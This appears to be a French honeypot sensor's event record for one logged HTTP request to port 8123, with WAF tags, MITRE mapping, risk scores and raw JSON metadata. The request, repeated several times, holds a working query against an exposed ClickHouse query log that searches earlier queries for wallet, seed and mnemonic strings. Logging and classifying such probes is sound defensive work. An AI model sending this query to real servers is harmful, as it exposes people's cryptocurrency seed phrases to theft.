Méthode
GET
Port
8123
Chemin / cible
/
Pourquoi cette classification : Injection SQL (tag sqli-1) · confiance 100%
Confiance classification
100%
Risque capteur
Moyen
· 61
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1
Signaux
CRS-941100
CRS-941110
pat-0042
pat-0047
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 942511
SQLi Openfire SELECT FROM SQLi
ClickHouse query
Ligne de requête
GET /?query=SELECT+*+FROM+system.query_log+WHERE+query+LIKE+'%wallet%'+OR+query+LIKE+'%seed%'+OR+query+LIKE+'%mnemonic%'+LIMIT+100+FORMAT+TabSeparated HTTP/1.1
User-Agent
Mozilla/5.0 (Linux; Android 14; Pixel 8 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Mobile Safari/537.36
Règles WAF
sqli-1
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET /?query=SELECT+*+FROM+system.query_log+WHERE+query+LIKE+'%wallet%'+OR+query+LIKE+'%seed%'+OR+query+LIKE+'%mnemonic%'+LIMIT+1
Requête brute (extrait)
GET /?query=SELECT+*+FROM+system.query_log+WHERE+query+LIKE+'%wallet%'+OR+query+LIKE+'%seed%'+OR+query+LIKE+'%mnemonic%'+LIMIT+100+FORMAT+TabSeparated HTTP/1.1 Host: 62.3.50.33:8123 User-Agent: Mozilla/5.0 (Linux; Android 14; Pixel 8 Pro) AppleWebKit/537
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 12,
"http_query_params": 1,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "fbc0a46f9c2e144fc770fef4de21ffe725652a28",
"http_host_hash": "15f4f9799fa92d8e7e5cb90724eb1ec2b33ec46f",
"http_target_hash": "f3323bba3abf9cbebb3b78a28942ff60a85f5155",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 726,
"payload_entropy": 5.734696207086983,
"port_category": "registered",
"org": "Comcast Cable Communications, LLC",
"service": "http",
"app_proto": "http",
"asn": 7922,
"country": "US",
"dst_port": 8123,
"risk_waf": 100,
"risk_classification": 82,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 33,
"risk_novelty": 30,
"risk_boost": 0,
"risk_granularity": 2.3,
"risk_breakdown": {
"waf": 100,
"classification": 82,
"behavior": 0,
"geo": 0,
"protocol": 33,
"novelty": 30
},
"risk_score": 61,
"tag_count": 6,
"anomaly_count": 1,
"campaign_key": "18922537cb9d251694e073bfa792b3daa23524fe",
"event_fingerprint": "2b4256728b3268263e8ae054ffc41e5d70df7879",
"classification_reason": "Injection SQL (tag sqli-1) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 416,
"precision_signals": [
"CRS-941100",
"CRS-941110",
"pat-0042",
"pat-0047",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"CRS-941100",
"CRS-941110",
"pat-0042",
"pat-0047",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0042",
"pat-0047",
"pat-0737"
],
"matched_pattern_names": [
"CRS 942511",
"SQLi Openfire SELECT FROM SQLi",
"ClickHouse query"
],
"pattern_ids": [
"pat-0042",
"pat-0047",
"pat-0737"
],
"confidence_breakdown": {
"waf": 100,
"classification": 82,
"behavior": 0,
"geo": 0,
"protocol": 33,
"novelty": 30,
"risk_score": 61
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 7922,
"org": "Comcast Cable Communications, LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "6273f9be1b02ca05f8b0ec5ce5b17279",
"payload_hash": "fed3e87d41b4d2b57323c02138836b46",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8123,
"service": "http",
"service_name": "http",
"risk_score": 61
},
"method": "GET",
"path": "\/",
"query_string": "query=SELECT+*+FROM+system.query_log+WHERE+query+LIKE+'%wallet%'+OR+query+LIKE+'%seed%'+OR+query+LIKE+'%mnemonic%'+LIMIT+100+FORMAT+TabSeparated",
"user_agent": "Mozilla\/5.0 (Linux; Android 14; Pixel 8 Pro) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/134.0.0.0 Mobile Safari\/537.36",
"waf_tags": [
"950005:sqli-1",
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"sqli-1",
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/?query=SELECT+*+FROM+system.query_log+WHERE+query+LIKE+'%wallet%'+OR+query+LIKE+'%seed%'+OR+query+LIKE+'%mnemonic%'+LIMIT+100+FORMAT+TabSeparated HTTP\/1.1",
"payload_snippet": "GET \/?query=SELECT+*+FROM+system.query_log+WHERE+query+LIKE+'%wallet%'+OR+query+LIKE+'%seed%'+OR+query+LIKE+'%mnemonic%'+LIMIT+1",
"evidence": {
"method": "GET",
"path": "\/",
"query_string": "query=SELECT+*+FROM+system.query_log+WHERE+query+LIKE+'%wallet%'+OR+query+LIKE+'%seed%'+OR+query+LIKE+'%mnemonic%'+LIMIT+100+FORMAT+TabSeparated",
"user_agent": "Mozilla\/5.0 (Linux; Android 14; Pixel 8 Pro) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/134.0.0.0 Mobile Safari\/537.36",
"waf_tags": [
"950005:sqli-1",
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"sqli-1",
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/?query=SELECT+*+FROM+system.query_log+WHERE+query+LIKE+'%wallet%'+OR+query+LIKE+'%seed%'+OR+query+LIKE+'%mnemonic%'+LIMIT+100+FORMAT+TabSeparated HTTP\/1.1",
"request_sample": "GET \/?query=SELECT+*+FROM+system.query_log+WHERE+query+LIKE+'%wallet%'+OR+query+LIKE+'%seed%'+OR+query+LIKE+'%mnemonic%'+LIMIT+100+FORMAT+TabSeparated HTTP\/1.1\r\nHost: 62.3.50.33:8123\r\nUser-Agent: Mozilla\/5.0 (Linux; Android 14; Pixel 8 Pro) AppleWebKit\/537",
"payload_snippet": "GET \/?query=SELECT+*+FROM+system.query_log+WHERE+query+LIKE+'%wallet%'+OR+query+LIKE+'%seed%'+OR+query+LIKE+'%mnemonic%'+LIMIT+1",
"classification_reason": "Injection SQL (tag sqli-1) \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1190"
],
"mitre": "T1190",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "8537c0ed0efc7a029466fa78dc045f2adfc9bc69",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/?query=SELECT+*+FROM+system.query_log+WHERE+query+LIKE+'%wallet%'+OR+query+LIKE+'%seed%'+OR+query+LIKE+'%mnemonic%'+LIMIT+100+FORMAT+TabSeparated HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Linux; Android 14; Pixel 8 Pro) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/134.0.0.0 Mobile Safari\/537.\u2026",
"port": 8123,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/?query=SELECT+*+FROM+system.query_log+WHERE+query+LIKE+'%wallet%'+OR+query+LIKE+'%seed%'+OR+query+LIKE+'%mnemonic%'+LIMIT+1",
"attack_vector": "sqli attack \u00b7 via HTTP:8123 \u00b7 (tentative d'exploit)",
"target_port_label": "8123 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection SQL (tag sqli-1) \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection SQL (tag sqli-1) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 61\/100 (Moyen) \u2014 MITRE T1190 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 82,
"behavior": 0,
"geo": 0,
"protocol": 33,
"novelty": 30,
"risk_score": 61
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 61,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8123,
"protocol_emulated": true,
"tags_summary": [
"CRS-941100",
"CRS-941110",
"pat-0042",
"pat-0047"
],
"tags_summary_labels_fr": [
"CRS-941100",
"CRS-941110",
"pat-0042",
"pat-0047"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1190",
"mitre_technique": "T1190",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/?query=SELECT+*+FROM+system.query_log+WHERE+query+LIKE+'%wallet%'+OR+query+LIKE+'%seed%'+OR+query+LIKE+'%mnemonic%'+LIMIT+100+FORMAT+TabSeparated HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Linux; Android 14; Pixel 8 Pro) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/134.0.0.0 Mobile Safari\/537.\u2026",
"port": 8123,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "sqli attack \u00b7 via HTTP:8123 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/?query=SELECT+*+FROM+system.query_log+WHERE+query+LIKE+'%wallet%'+OR+query+LIKE+'%seed%'+OR+query+LIKE+'%mnemonic%'+LIMIT+1",
"target_port_label": "8123 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8123"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950005:sqli-1",
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"anomaly:high-entropy-query",
"net_web_probe"
]
}
|